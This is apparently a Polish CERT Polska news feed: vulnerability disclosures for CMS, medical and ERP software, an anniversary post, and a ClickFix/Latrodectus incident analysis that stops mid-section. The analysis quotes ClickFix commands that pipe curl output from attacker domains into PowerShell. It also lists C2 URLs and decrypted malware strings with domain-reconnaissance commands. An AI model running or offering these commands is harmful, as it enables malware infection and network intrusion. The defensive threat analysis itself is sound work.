Podatność CVE-2025-69241: Oprogramowanie Raytha CMS jest podatne na atak typu Stored XSS w parametrach FirstName i LastName w funkcjonalności edycji profilu. Uwierzytelniony atakujący może umieścić dowolny kod HTML i JS na stronie, który zostanie wykonany podczas odwiedzania zedytowanej strony.

Podatność CVE-2025-69242: Oprogramowanie Raytha CMS jest podatne na atak typu Reflected XSS w parametrze backToListUrl. Atakujący może przygotować złośliwy URL, którego otwarcie przez uwierzytelnioną ofiarę prowadzi do wykonania dowolnego kodu JavaScript w przeglądarce ofiary.

Podatność CVE-2025-69243: Raytha CMS umożliwia enumerację użytkowników w funkcjonalności resetowania hasła. Różnice w komunikatach umożliwiają atakującemu wyznaczenie, czy login jest prawidłowy, co może prowadzić do ataku typu brute-force z wykorzystaniem prawidłowych loginów.

Podatność CVE-2025-69245: Oprogramowanie Raytha CMS jest podatne na atak typu Reflected XSS w parametrze returnUrl w funkcjonalności logowania. Atakujący może stworzyć złośliwy URL, który, gdy zostanie otwarty przez uwierzytelnioną ofiarę, prowadzi do wykonania dowolnego kodu JavaScript w przeglądarce ofiary.

Podatność CVE-2025-69246: Raytha CMS nie posiada żadnego mechanizmu ochrony przed atakami typu brute-force. Umożliwia to atakującemu wysyłanie wielu zautomatyzowanych żądań logowania bez wyzwalania blokady, ograniczenia lub dodatkowych zabezpieczeń.

Problem opisany w CVE-2025-69243 został rozwiązany w wersji 1.5.0. Pozostałe problemy zostały rozwiązane w wersji 1.4.6.

Podziękowania

Dziękujemy Danielowi Baście za zgłoszenie znalezionych przez siebie podatności: CVE-2025-15540, CVE-2025-69246 oraz od CVE-2025-69236 do CVE-2025-69243 oraz za wsparcie udzielone Patrykowi Kieszkowi w znalezieniu podatności CVE-2025-69245.

Podatności w oprogramowaniu urządzeń tinycontrol

2026-03-16T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie dotyczące podatności w urządzeniach tinycontrol (tcPDU oraz LAN Controllers: LK3.5, LK3.9 i LK4) oraz uczestniczył w koordynacji procesu ich ujawnienia.

Podatność CVE-2025-11500: Urządzenia tinycontrol, takie jak tcPDU oraz LAN Controller LK3.5, LK3.9 i LK4, posiadają dwa odrębne mechanizmy uwierzytelniania – jeden wyłącznie do zarządzania interfejsem, a drugi do ochrony wszystkich pozostałych zasobów serwera. Gdy drugi mechanizm jest wyłączony (co stanowi ustawienie domyślne), nieuwierzytelniony atakujący w sieci lokalnej może uzyskać nazwy użytkowników oraz zakodowane hasła do portalu zarządzania interfejsem poprzez analizę odpowiedzi HTTP serwera podczas odwiedzania strony logowania, która zawiera plik JSON z tymi danymi. Ujawniane są dane uwierzytelniające zarówno zwykłych użytkowników, jak i administratora.

Podatność CVE-2025-15587: Urządzenia tinycontrol, takie jak tcPDU oraz LAN Controller LK3.5, LK3.9 i LK4, umożliwiają użytkownikowi o niskich uprawnieniach odczyt hasła administratora poprzez bezpośredni dostęp do określonego zasobu, który nie jest dostępny z poziomu interfejsu graficznego.

Podatności zostały naprawione w następujących wersjach oprogramowania układowego:

1.36 dla tcPDU
1.67 dla LK3.5 – wersje sprzętowe: 3.5, 3.6, 3.7 i 3.8
1.75 dla LK3.9 – wersja sprzętowa 3.9
1.38 dla LK4 – wersja sprzętowa 4.0.

Podziękowania

Za zgłoszenie podatności CVE-2025-11500 dziękujemy Pawłowi Różańskiemu z Securitum. Podatność CVE-2025-15587 została zgłoszona przez producenta urządzeń tinycontrol, aby zwiększyć bezpieczeństwo użytkowników, za co również dziękujemy.

Podatność w oprogramowaniu Streamsoft Prestiż

2026-03-12T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Streamsoft Prestiż i koordynował proces ujawniania informacji.

Podatność CVE-2026-0809: Użycie niestandardowego algorytmu kodowania tokenów w oprogramowaniu Streamsoft Prestiż umożliwia odgadnięcie wartości tokenu KSeF (Krajowy System e-Faktur) po analizie sposobu kodowania tokenów o znanych wartościach. Ten problem został rozwiązany w wersji 20.0.380.92.

Podziękowania

Za zgłoszenie podatności dziękujemy Kamilowi Dąbkowskiemu.

CERT Polska ma 30 lat

2026-03-11T18:00:00+01:00

Zespół CERT Polska świętuje 30-lecie swojej działalności. Przez trzy dekady zmieniło się niemal wszystko. Internet, z którego w latach 90. korzystała niewielka grupa użytkowników, dziś jest podstawową przestrzenią, dzięki której funkcjonuje wiele aspektów naszego życia. Wraz z jego rozwojem pojawiają się jednak nowe zagrożenia, co jeszcze lepiej pokazuje dlaczego potrzebujemy zespołów takich jak nasz.

Ponad 2 miliony zgłoszeń od internautów i ponad pół miliona incydentów - z czego większość miała miejsce przez ostatnie 5 lat. Reagowanie na incydenty to jedno z najważniejszych zadań CERT Polska – realizowane nieprzerwanie od 1996 roku. I tak od 12 incydentów w 1996 roku, w 2025 odnotowaliśmy ich przeszło 260 tysięcy. Liczący dziś ponad 100 osób zespół, rozpoczynał pracę jako drużyna składająca się z jedynie 3 ekspertów.

Historia CERT Polska rozpoczęła się 11 marca 1996 roku. Wówczas decyzją Dyrektora NASK formalnie powołano w Instytucie zespół CERT, któremu przewodził Krzysztof Silicki. Od tamtego czasu nasz zespół odpowiada na kolejne pojawiające się w cyberprzestrzeni wyzwania. Dziś eksperci CERT Polska obsługują rocznie setki tysięcy zgłoszeń i incydentów, rozwijają narzędzia do wykrywania zagrożeń, analizują złośliwe oprogramowanie oraz współpracują z zespołami bezpieczeństwa na całym świecie. Przez 30 lat CERT Polska zbudował unikalne kompetencje i należy do czołówki europejskich zespołów reagowania na incydenty cyberbezpieczeństwa.

30 sukcesów CERT Polska na 30 lat

Z okazji jubileuszu chcemy przypomnieć najważniejsze momenty naszej historii. W najbliższych tygodniach będziemy publikować w naszych mediach społecznościowych serię materiałów, w których opowiemy o projektach, narzędziach i inicjatywach, które realnie wpłynęły na bezpieczeństwo polskiego internetu. Za tymi osiągnięciami stoją przede wszystkim ludzie. CERT Polska to zespół ekspertów, analityków i badaczy, których praca często pozostaje niewidoczna dla opinii publicznej. To właśnie oni każdego dnia analizują zagrożenia, reagują na incydenty i pomagają chronić użytkowników sieci w Polsce.

SECURE 2026

Nasze 30-lecie będziemy również świętować podczas konferencji SECURE 2026 – to jedno z najważniejszych wydarzeń poświęconych cyberbezpieczeństwu w Polsce. To dobra okazja, aby spotkać się z ekspertami CERT Polska, wymienić doświadczenia i porozmawiać o aktualnych wyzwaniach w obszarze cybersecurity. Zapraszamy do udziału w konferencji i do wspólnego świętowania naszego jubileuszu!

Podatność w oprogramowaniu Coppermine Photo Gallery

2026-03-11T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Coppermine Photo Gallery i koordynował proces ujawniania informacji.

Podatność CVE-2026-3013: Coppermine Photo Gallery w wersjach od 1.6.09 do 1.6.27 jest podatny na path traversal. Nieautoryzowany, zdalny atakujący może wykorzystać podatny endpoint i skonstruować zapytania pozwalające na odczytanie zawartości dowolnego pliku dostępnego dla procesu serwera WWW. Problem został naprawiony w wersji 1.6.28.

Podziękowania

Za zgłoszenie podatności dziękujemy Janowi Pawłowi Klimowi.

Podatność w oprogramowaniu QuickCMS

2026-03-06T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu QuickCMS i koordynował proces ujawniania informacji.

Podatność CVE-2026-1468: QuickCMS jest podatny na atak typu Cross-Site Request Forgery w wielu miejscach w produkcie. Atakujący może przygotować specjalną stronę internetową, która po odwiedzeniu przez administratora automatycznie wyśle żądanie POST, tworząc produkt o treści zdefiniowanej przez atakującego. Oprogramowanie nie implementuje żadnych mechanizmów ochronnych przeciwko tego typu atakom. Wszystkie formularze dostępne w tym systemie są potencjalnie podatne.

Producent został wcześnie poinformowany o tej podatności, jednak nie udzielił informacji na temat szczegółów podatności ani zakresu wersji podatnych na atak. Przetestowano i potwierdzono podatność jedynie w wersji 6.8 — inne wersje nie były testowane i również mogą być podatne.

Podziękowania

Podatność zgłosił Michał Biesiada, za co dziękujemy.

Podatności w oprogramowaniu DobryCMS

2026-03-02T13:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu DobryCMS i koordynował proces ujawniania informacji.

Podatność CVE-2025-12462: W DobryCMS zidentyfikowano podatność typu Blind SQL Injection. Zdalny, nieuwierzytelniony atakujący może wstrzykiwać dowolne kwerendy w języku SQL w ścieżce URL w wielu parametrach.

Ten problem zostały naprawiony w wersjach powyżej 8.0.

Podatność CVE-2025-14532: Funkcjonalność przesyłania plików w DobryCMS umożliwia zdalnemu, nieuwierzytelnionemu atakującemu przesyłanie plików dowolnego typu i z dowolnym rozszerzeniem bez jakichkolwiek ograniczeń, co może prowadzić do zdalnego wykonania kodu.

Ten problem zostały naprawiony w wersjach powyżej 5.0.

Podziękowania

Za zgłoszenie podatności Blind SQL Injection dziękujemy Jarosławowi Wieczorkowi, Pawłowi Berusowi, Kacprowi Gendoszowi oraz Karolinie Buchnat. Natomiast za zgłoszenie dotyczące podatności Unrestricted File Upload dziękujemy Dawidowi Radzińskiemu z RED SECURITY.

Podatności w oprogramowaniu CGM CLININET oraz CGM NETRAAD

2026-03-02T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenia o 8 podatnościach w oprogramowaniu CGM CLININET oraz CGM NETRAAD i koordynował proces ujawniania informacji.

Podatność CVE-2025-10350 typu SQL Injection w oprogramowaniu CGM NETRAAD w module imageserver, podczas przetwarzania zapytań C-FIND, umożliwia atakującemu podłączonemu do PACS uzyskanie dostępu do bazy danych, w tym do danych przetwarzanych przez oprogramowanie CGM CLININET. Podatność dotyczy CGM NETRAAD z modułem imageserver w wersjach starszych niż 7.9.0.

Podatność CVE-2025-30035: Podatność pozwala na całkowite ominięcie uwierzytelniania w CGM CLININET i dostęp do systemu na dowolnym, aktywnym koncie użytkownika, po podaniu jego nazwy, bez znajomości hasła ani posiadania żadnych dodatkowych danych. Posiadanie ID sesji jest równoznaczne z możliwością jej przejęcia i dostępem do systemu z uprawnieniami tego użytkownika.

Podatność CVE-2025-30042: CGM CLININET posiada zaimplementowaną funkcjonalność logowania przy użyciu karty inteligentnej. Uwierzytelnienie przeprowadzane jest lokalnie po stronie użytkownika, jednak w rzeczywistości przyjmowany jest jedynie numer certyfikatu. W rezultacie do uwierzytelnienia wystarczy samo posiadanie numeru certyfikatu, niezależnie od faktycznej obecności karty inteligentnej lub posiadania klucza prywatnego.

Podatność CVE-2025-30044: W CGM CLININET, w endpointach: /cgi-bin/CliniNET.prd/utils/usrlogstat_simple.pl, /cgi-bin/CliniNET.prd/utils/usrlogstat.pl, /cgi-bin/CliniNET.prd/utils/userlogstat2.pl oraz /cgi-bin/CliniNET.prd/utils/dblogstat.pl parametry nie są wystarczająco normalizowane, co umożliwia wstrzyknięcie kodu.

Podatność CVE-2025-30062: W CGM CLININET, w usłudze CheckUnitCodeAndKey.pl, w funkcji validateOrgUnit, istnieje możliwość wstrzyknięcia polecenia SQL.

Podatność CVE-2025-58402: Aplikacja CGM CLININET wykorzystuje bezpośrednie, sekwencyjne identyfikatory MessageID bez weryfikacji uprawnień użytkownika. Manipulacja parametrem w żądaniu GET umożliwia odczyt wiadomości oraz załączników innych użytkowników.

Podatność CVE-2025-58405: Aplikacja CGM CLININET nie implementuje żadnych mechanizmów zapobiegających atakom typu clickjacking. Nie wykryto nagłówków bezpieczeństwa HTTP ani zabezpieczeń przed pomijaniem ramek opartych na HTML. W rezultacie, atakujący może osadzić aplikację w złośliwie spreparowanej ramce IFRAME i nakłonić użytkowników do wykonania niezamierzonych działań, w tym potencjalnego ominięcia zabezpieczeń CSRF/XSRF.

Podatność CVE-2025-58406: Aplikacja CGM CLININET odpowiada bez niezbędnych nagłówków HTTP zapewniających bezpieczeństwo, narażając użytkowników na ataki po stronie klienta, takie jak clickjacking, podsłuchiwanie MIME, niebezpieczne buforowanie, słaba izolacja między domenami i brak kontroli bezpieczeństwa warstwy transportowej.

Podziękowania

Za zgłoszenie podatności CVE-2025-10350, CVE-2025-30035, CVE-2025-30042, CVE-2025-30044 oraz CVE-2025-30062 dziękujemy Maciejowi Kazulakowi.

Podatność w oprogramowaniu Pro3W CMS

2026-02-27T13:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Pro3W CMS i koordynował proces ujawniania informacji.

Podatność CVE-2025-15498: Pro3W CMS jest podatny na ataki typu SQL injection. Niewłaściwa neutralizacja danych wejściowych przekazywanych do formularza logowania umożliwia zdalnemu atakującemu obejście mechanizmu uwierzytelniania i uzyskanie uprawnień administracyjnych.

Problem został zidentyfikowany w wersji 1.2.0 tego oprogramowania. Ze względu na brak odpowiedzi ze strony producenta, nie udało się jednoznacznie określić zakresu podatnych wersji, jednak podatność powinna być wyeliminowana w wersjach wydanych w styczniu 2026 roku i późniejszych.

Podziękowania

Za zgłoszenie podatności dziękujemy Jackowi Czepilowi.

Podatności w oprogramowaniu PluXml CMS

2026-02-27T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu PluXml CMS i koordynował proces ujawniania informacji.

Podatność CVE-2026-24350: Oprogramowanie PluXml CMS jest podatne na ataki typu Stored XSS w funkcjonalności przesyłania plików. Uwierzytelniony atakujący może przesłać plik SVG zawierający złośliwy ładunek, który zostanie wykonany, gdy ofiara kliknie link powiązany z przesłanym obrazem. W wersji 5.9.0‑rc7 kliknięcie linku powiązanego z przesłanym obrazem nie wykonuje złośliwego kodu, ale bezpośredni dostęp do pliku nadal spowoduje wykonanie osadzonego payloadu.

Podatność CVE-2026-24351: Oprogramowanie PluXml CMS jest podatne na ataki typu Stored XSS w funkcjonalności edycji Static Pages. Atakujący posiadający uprawnienia do edycji może wstrzyknąć dowolny kod HTML i JavaScript do witryny, który zostanie wyrenderowany/wykonany podczas odwiedzania zmodyfikowanej strony.

Podatność CVE-2026-24352: PluXml CMS pozwala na ustawienie identyfikatora sesji użytkownika przed uwierzytelnieniem. Wartość tego identyfikatora pozostaje taka sama po uwierzytelnieniu. Takie zachowanie umożliwia atakującemu ustawienie ofierze z góry wybranego identyfikatora sesji, a następnie przejęcie uwierzytelnionej sesji.

Producent został wcześniej poinformowany o tych podatnościach, jednak nie udzielił informacji na temat szczegółów podatności ani zakresu wersji podatnych na atak. Przetestowano i potwierdzono podatności jedynie w wersjach 5.8.21 oraz 5.9.0-rc7 - inne wersje nie były testowane i również mogą być podatne.

Podziękowania

Za zgłoszenie podatności dziękujemy Arkadiuszowi Marcie.

Podatność w oprogramowaniu Omega-PSIR

2026-02-26T12:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Omega-PSIR i koordynował proces ujawniania informacji.

Podatność CVE-2026-1434: Omega-PSIR jest podatny na ataki typu Reflected XSS poprzez parametr lang. Atakujący może przygotować adres URL z ładunkiem, który po otwarciu spowoduje wykonanie dowolnego kodu JavaScript w przeglądarce ofiary.

Ten problem został naprawiony w wersji 4.6.7.

Podziękowania

Za zgłoszenie podatności dziękujemy Łukaszowi Rybakowi.

Podatność w oprogramowaniu Simple.ERP

2026-02-26T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Simple.ERP i koordynował proces ujawniania informacji.

Podatność CVE-2026-1198: oprogramowanie SIMPLE.ERP jest podatne na atak typu SQL Injection w funkcjonalności wyszukiwania w oknie "Obroty na kontach". Brak walidacji danych wejściowych pozwala uwierzytelnionemu atakującemu wykonywać dowolne kwerendy w języku SQL.

Problem został naprawiony w wersji 6.30@A04.4_u06.

Podziękowania

Za zgłoszenie podatności dziękujemy Kamilowi Dąbkowskiemu.

Podatność w wielu programach Finka

2026-02-24T15:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Finka-FK, Finka-KPR, Finka-Płace, Finka-Faktura, Finka-Magazyn oraz Finka-STW i koordynował proces ujawniania informacji.

Podatność CVE-2025-13776: Wiele programów Finka korzysta z zakodowanych danych uwierzytelniających do bazy danych Firebird (wspólnych dla wszystkich instalacji tego oprogramowania). Atakujący znajdujący się w sieci lokalnej, znający domyślne dane logowania, może odczytywać i modyfikować zawartość bazy danych.

Podatność została usunięta w wersjach:

Finka-FK 18.5

Finka-KPR 16.6

Finka-Płace 13.4

Finka-Faktura 18.3

Finka-Magazyn 8.3

Finka-STW 12.3

Podziękowania

Za zgłoszenie podatności dziękujemy Wojciechowi "Wern128" Żebrowskiemu.

Podatność w wielu urządzeniach Slican

2026-02-24T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w urządzeniach Slican NCP/IPL/IPM/IPU i koordynował proces ujawniania informacji.

Podatność CVE-2025-14577: Urządzenia Slican NCP/IPL/IPM/IPU są podatne na PHP Function Injection. Nieuwierzytelniony atakujący może zdalnie wykonać dowolne polecenia PHP, wysyłając specjalnie spreparowane żądania do endpointu /webcti/session_ajax.php.

Problem został naprawiony w wersji 1.24.0190 (Slican NCP) oraz 6.61.0010 (Slican IPL/IPM/IPU).

Podziękowania

Za zgłoszenie podatności dziękujemy Dariuszowi Gońdzie.

ClickFix w akcji: jak fake captcha może zaszyfrować całą firmę

2026-02-17T10:00:00+02:00

Wprowadzenie

Kilka miesięcy temu dowiedzieliśmy się, że jedna z dużych polskich organizacji padła ofiarą ataku malware, a atakujący jest aktywny w jej sieci. Podczas obsługi incydentu wspieraliśmy zarówno organy ścigania, jak i zaatakowaną organizację w dochodzeniu i usuwaniu skutków ataku.

Chociaż nasza analiza opiera się na danych zebranych w konkretnej firmie, kampanie typu Fake CAPTCHA mają charakter masowy i nie są wymierzone w konkretne organizacje. Incydent ten jest naszym zdaniem dobrym przykładem, pozwalającym pokazać pełny łańcuch ataku oraz to, w jaki sposób pojedynczy zainfekowany użytkownik może zagrozić bezpieczeństwu całej firmy. Dołączyliśmy również szczegółową analizę wykorzystanych próbek złośliwego oprogramowania.

Analiza złośliwego oprogramowania

Podczas analizy jednej ze stacji roboczych zidentyfikowaliśmy katalog
%APPDATA%\Intel, który zwrócił naszą uwagę. Znajdowały się w nim następujące pliki:

b7f8750851e70ec755343d322d7d81ea0fc1b12d4a1ab6a60e7c8605df4cd6a5  igfxSDK.exe
af45a728552ccfdcd9435c40ace60a9354d7c1b52abf507a2f1cb371dada4fde  version.dll
be5bcdfc0dbe204001b071e8270bd6856ce6841c43338d8db914e045147b0e77  wtsapi32.dll

Podczas gdy pliki version.dll i igfxSDK.exe były standardowymi plikami systemu Windows, wtsapi32.dll wydał się nam podejrzany, ponieważ taka sytuacja jest charakterystyczna dla tzw. side-loadingu DLL.

Skan dysku wykrył także dwa dodatkowe podejrzane pliki w katalogu /Users/[username]/AppData/Local/:

2528df60e55f210a6396dd7740d76afe30d5e9e8684a5b8a02a63bdcb5041bfc 245282244.dll
21b953dc06933a69bcb2e0ea2839b47288fc8f577e183c95a13fc3905061b4e6 760468301.dll

Wektor infekcji

Najpierw spróbowaliśmy ustalić, w jaki sposób złośliwe oprogramowanie trafiło na stację roboczą ofiary. W logach zidentyfikowaliśmy następujące polecenie:

cmd /c curl naintn.com/amazoncdn.com/oeiich37874cj30dkk43885j10vj38h38jd/nrs/opn/ca/ |  powershell

Fakt wpisania takiej komendy przez ofiarę wyraźnie wskazywał na atak Fake CAPTCHA (ClickFix). W tym ataku atakujący próbuje nakłonić ofiarę do skopiowania złośliwego fragmentu kodu i jego uruchomienia przy użyciu skrótu Win+R. Obserwujemy rosnącą liczbę ataków przeprowadzanych w ten sposób w Polsce.

Podczas poszukiwań tego adresu URL znaleźliśmy próbkę 6673794376681c48ce4981b42e9293eee010d60ef6b100a3866c0abd571ea648 w serwisie VirusTotal. Przeszukując logi pod kątem zdarzeń związanych z tym URL, udało nam się zidentyfikować kolejne złośliwe domeny. Jedna z tych domen była już wcześniej rozpoznana jako domena serwująca Fake CAPTCHA, ponieważ napotkaliśmy ją w przeszłości w innym incydencie. Udało nam się wyciągnąć z niej złośliwy kod:

W kodzie JavaScript osadzonym na tej stronie znaleźliśmy również token Telegrama:

const TELEGRAM_BOT_TOKEN = '7708755483:An7X_G5mbD3YhjDI_Ss';
const TELEGRAM_CHAT_ID = '78510';

Łatwo zauważyć, że ten token nie jest prawidłowym tokenem Telegrama - jest zbyt krótki. W związku z tym kod nie mógł nigdy działać zgodnie z zamierzeniem. Możliwe, że jest to wynik błędu, ale podejrzewamy, że kod został wygenerowany przez LLM i nie został odpowiednio dostosowany.

Natrafiliśmy także na inne, podobne polecenie w logach:

cmd /c curl jzluw.com/cdn-dynmedia-1.microsoft.com/is/n03ufh3k003jdhkg99fhhas/is/content/ |  powershell

Szukając podobnych indykatorów odkryliśmy więcej polskich domen zainfekowanych w ten sam sposób. Proaktywne polowanie na zagrożenia tego typu pozwala nam reagować szybciej na ataki.

Oprogramowanie Latrodectus

Po zakończeniu wstępnej analizy przeszliśmy do szczegółowej analizy złośliwego złośliwego oprogramowania, aby poszerzyć naszą wiedzę na temat incydentu i zdobyć dodatkowe wskaźniki IoC. Pierwszą analizowaną próbką była side-loadowana biblioteka DLL:

be5bcdfc0dbe204001b071e8270bd6856ce6841c43338d8db914e045147b0e77  wtsapi32.dll

Uruchomiliśmy ją przy pomocy oprogramowania DRAKVUF Sandbox i zaobserwowaliśmy żądania podobne do poniższych:

https://gasrobariokley.com/work/?counter=0&type=1&guid=3B7FFFF7F331576B6FA3479BDF43&os=6&arch=1&username=JohnDoe&group=2201209746&ver=2.3&up=7&direction=gasrobariokley.com
https://fadoklismokley.com/work/?counter=0&type=1&guid=3B7FFFF7F331576B6FA3479BDF43&os=6&arch=1&username=JohnDoe&group=2201209746&ver=2.3&up=7&direction=fadoklismokley.com

Podczas ręcznej analizy ustaliliśmy, że próbka była obfuskowana przy użyciu nieznanego nam obfuskatora. Ładując tę bibliotekę do debuggera i przechwytując odpowiednie wywołanie funkcji VirtualProtect, udało nam się uzyskać czysty zrzut pamięci. Zrzut ten pasował do reguły win_latrodectus_g0 autorstwa Slavo ze SWITCH (udostępnionej na zasadach TLP:GREEN w Malpedii).

Analizując dostępne materiały dotyczące tej rodziny, potwierdziliśmy, że próbka należy do rodziny złośliwego oprogramowania Latrodectus. Warto zauważyć, że wersja zaobserwowana w URL żądania to 2.3. Nie udało nam się znaleźć żadnych publicznych analiz Latrodectus w wersji 2, a tym bardziej konkretnie wersji 2.3. Niemniej jednak istnieje wiele wysokiej jakości analiz wersji 1, a różnice między wersjami nie są bardzo duże. Nie jest to jednak najnowsza wersja - znaleźliśmy próbki Latrodectus z wersją co najmniej v2.5.

Jedną z interesujących technik utrudniających analizę dynamiczną i stosowanych przez malware jest to, że program odmawia wykonania kodu w przypadku uruchomienia za pomocą rundll.exe lub regsrv32.exe. Obecne były również inne typowe mechanizmy antydebugowe. Największym z wyzwań było odpinanie hooków na funkcje biblioteki NTDLL (NTDLL unhooking), polegające na samodzielnym odczytaniu pliku ntdll.dll z dysku i ręcznym zaimportowaniu go do procesu, co pozwala na ominięcie typowych mechanizmów wykrywania stosowanych przez AV i debugery. Obeszliśmy to zabezpieczenie wykonując kolejny zrzut pamięci po pełnym wypakowaniu kodu malware, a następnie automatyczne odzyskanie importów.

Na koniec, zaimplementowaliśmy skrypt do deszyfrowania stringów:

from malduck import *
key = bytes([0xd6, 0x23, 0xb8, 0xef, 0x62, 0x26, 0xce, 0xc3, 0xe2, 0x4c, 0x55, 0x12, 0x7d, 0xe8, 0x73, 0xe7, 0x83, 0x9c, 0x77, 0x6b, 0xb1, 0xa9, 0x3b, 0x57, 0xb2, 0x5f, 0xdb, 0xea, 0xd, 0xb6, 0x8e, 0xa2, ])

datas = open("encrypted.txt", "r").read().strip().split("\n")
for entry in datas:
  addr, encoded_data = entry.split()
  chunk = bytes.fromhex(encoded_data)
  length, data = u16(chunk[:2]), chunk[2:]

  print(addr, aes.ctr.decrypt(key, data[:16], data[16:16+length]).decode().replace("\x00", ""))

Klucz deszyfrujący wyciągnęliśmy ręcznie, natomiast plik encrypted.txt zawierał zaszyfrowane ciągi znaków z binarki i został wygenerowany przy użyciu następującego skryptu ghidralib:

from ghidralib import *

f = Function("string_decrypt")
for call in f.calls:
    try:
        e = Emulator()
        e.emulate(call.address - 7, [call.address])
        key = e["rcx"]
        size = read_u16(key)
        print(hex(key) + " " + read_bytes(key, size+25).encode("hex"))
    except:
        pass

Korzystamy tutaj z faktu, że referencje do zaszyfrowanych ciągów znaków znajdują się prawie zawsze bezpośrednio przed wywołaniem funkcji, dzięki czemu możemy emulować po kilka instrukcji poprzedzających opcode CALL i odczytać stan rejestru ECX.

Po odfiltrowaniu mniej istotnych wyników uzyskaliśmy następującą listę:

0x18000fd60 runnung
0x180010060 Kallichore
0x180010898 https://gasrobariokley.com/work/
0x1800108d0 https://fadoklismokley.com/work/
0x1800112b8 \update_data.dat
0x180010a10 Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
0x180011168 \Registry\Machine\
0x180010bd0 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
0x180010340 KK4Yp3894K6jOwLqbvOT035AwCpkKlxZeCzBLsKHt0k3j5yI0REck3FegyF6rcWq
0x1800103a0 counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s
0x180010420 counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s
0x1800104a0 /c reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid | findstr MachineGuid
0x180010580 C:\Windows\System32\cmd.exe
0x1800105e0 /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\IDConfigDB\Hardware Profiles\0001" /v HwProfileGuid | findstr HwProfileGuid
0x180010710 C:\Windows\System32\cmd.exe
0x180010770 counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s
0x180010830 &dpost=
0x180010190 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
0x180010220 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
0x1800100b0 Content-Type: application/x-www-form-urlencoded
0x180010118 POST
0x180010138 GET
0x1800102c0 CLEARURL
0x1800102e0 URLS
0x180010300 COMMAND
0x180010320 ERROR
0x180010000 front
0x180010020 /files/
0x18000fc00 &desklinks=[
0x18000fae8 &proclist=[
0x18000fb28 "pid": 
0x18000fb68 "proc": 
0x18000fba8 "subproc": [
0x18000fa10 "pid": 
0x18000fa50 "proc": 
0x18000fa90 "subproc": [
0x18000ffb0 C:\Windows\System32\cmd.exe
0x180010fc0 &mac=
0x180011038 &computername=%s
0x180011060 &domain=%s
0x180010f40 explorer.exe
0x180011320 URLS|%d|%s
0x180010ee0 12345
0x18000f000 /c ipconfig /all
0x18000f070 C:\Windows\System32\cmd.exe
0x18000f038 /c systeminfo
0x18000f0c0 C:\Windows\System32\cmd.exe
0x18000f110 /c nltest /domain_trusts
0x18000f190 C:\Windows\System32\cmd.exe
0x18000f1e0 /c nltest /domain_trusts /all_trusts
0x18000f240 C:\Windows\System32\cmd.exe
0x18000f290 /c net view /all /domain
0x18000f300 C:\Windows\System32\cmd.exe
0x18000f158 /c net view /all
0x18000f350 C:\Windows\System32\cmd.exe
0x18000f3a0 /c net group "Domain Admins" /domain
0x18000f400 C:\Windows\System32\cmd.exe
0x18000f450 /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List
0x18000f520 C:\Windows\System32\wbem\wmic.exe
0x18000f580 /c net config workstation
0x18000f5d0 C:\Windows\System32\cmd.exe
0x18000f620 /c wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed
0x18000f780 C:\Windows\System32\cmd.exe
0x18000f7d0 /c whoami /groups
0x18000f810 C:\Windows\System32\cmd.exe
0x18000f2d8 &ipconfig=
0x18000f860 &systeminfo=
0x18000f888 &domain_trusts=
0x18000f8b0 &domain_trusts_all=
0x18000f8e0 &net_view_all_domain=
0x18000f910 &net_view_all=
0x18000f938 &net_group=
0x18000f960 &wmic=
0x18000f980 &net_config_ws=
0x18000f9a8 &net_wmic_av=
0x18000f9d0 &whoami_group=
0x180010e38 Content-Type: application/dns-message
0x180010e78 Content-Type: application/ocsp-request
0x180010eb8 Content-Length: 0
0x180010f20 &stiller=

Wśród odzyskanych łańcuchów znaków na szczególną uwagę zasługują:

Kallichore - nazwa grupy
KK4Yp3894K6jOwLqbvOT035AwCpkKlxZeCzBLsKHt0k3j5yI0REck3FegyF6rcWq - klucz szyfrujący
CLEARURL, URLS, COMMAND - polecenia C2
wywołania cmd.exe, które mogą być wykorzystane jako IoC

Ostatnia istotna obserwacja, której dokonaliśmy wspomagając się wpisem na blogu VMRay, dotyczy faktu, że parametr group w żądaniu HTTP (group=2201209746 w naszym przykładzie) jest hashem FNV-1a nazwy kampanii. Z samego żądania HTTP można więc odzyskać nazwę kampanii, przeprowadzając brute-force na zawartym w nim haszu.

Oprogramowanie Supper

Przeanalizowaliśmy również dwie dodatkowe podejrzane biblioteki DLL znalezione na maszynie. Pierwszą z nich był plik 245282244.dll:

2528df60e55f210a6396dd7740d76afe30d5e9e8684a5b8a02a63bdcb5041bfc 245282244.dll
21b953dc06933a69bcb2e0ea2839b47288fc8f577e183c95a13fc3905061b4e6 760468301.dll

